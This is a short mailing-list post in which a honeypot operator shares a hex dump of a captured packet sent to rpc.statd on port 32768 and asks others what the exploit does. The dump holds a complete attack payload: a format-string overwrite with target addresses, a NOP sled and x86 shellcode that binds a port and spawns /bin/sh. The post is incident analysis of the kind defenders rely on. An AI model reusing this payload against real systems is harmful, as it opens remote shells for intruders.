statd exploit ???

["Sriram Newsgroups" <srinews () hotmail com>]

My honeypt recorded this  packet. It looks to be a statd exploit (port
32768). I can't narrow it down to what exactly this exploit does or its nature.

Here is the sample packet

10/25-17:41:34.464523 24.123.46.10:847 -> x.x.x.linux:32768
UDP TTL:47 TOS:0x0 ID:51930 IpLen:20 DgmLen:1104
Len: 1084
51 1B 5D 1C 00 00 00 00 00 00 00 02 00 01 86 B8  Q.].............
00 00 00 01 00 00 00 01 00 00 00 01 00 00 00 20  ...............
3D B9 D6 3B 00 00 00 09 6C 6F 63 61 6C 68 6F 73  =..;....localhos
74 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  t...............
00 00 00 00 00 00 00 00 00 00 03 E7 18 F7 FF BF  ................
18 F7 FF BF 1A F7 FF BF 1A F7 FF BF 25 38 78 25  ............%8x%
38 78 25 38 78 25 38 78 25 38 78 25 38 78 25 38  8x%8x%8x%8x%8x%8
78 25 38 78 25 38 78 25 36 32 37 31 36 78 25 68  x%8x%8x%62716x%h
6E 25 35 31 38 35 39 78 25 68 6E 90 90 90 90 90  n%51859x%hn.....
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
-------------------------- Reapeted 41 lines ---------------------
90 90 90 90 90 90 90 90 90 90 90 90 90 90 31 C0  ..............1.
EB 7C 59 89 41 10 89 41 08 FE C0 89 41 04 89 C3  .|Y.A..A....A...
FE C0 89 01 B0 66 CD 80 B3 02 89 59 0C C6 41 0E  .....f.....Y..A.
99 C6 41 08 10 89 49 04 80 41 04 0C 88 01 B0 66  ..A...I..A.....f
CD 80 B3 04 B0 66 CD 80 B3 05 30 C0 88 41 04 B0  .....f....0..A..
66 CD 80 89 CE 88 C3 31 C9 B0 3F CD 80 FE C1 B0  f......1..?.....
3F CD 80 FE C1 B0 3F CD 80 C7 06 2F 62 69 6E C7  ?.....?..../bin.
46 04 2F 73 68 41 30 C0 88 46 07 89 76 0C 8D 56  F./shA0..F..v..V
10 8D 4E 0C 89 F3 B0 0B CD 80 B0 01 CD 80 E8 7F  ..N.............
FF FF FF 00                                      ....


My honeypot replied with this

10/25-17:41:34.468306 x.x.x.linux:32768 -> 24.123.46.10:847
UDP TTL:64 TOS:0x0 ID:0 IpLen:20 DgmLen:60 DF
Len: 40
51 1B 5D 1C 00 00 00 01 00 00 00 00 00 00 00 00  Q.].............
00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 2F  .............../


Any ideas ????

Sriram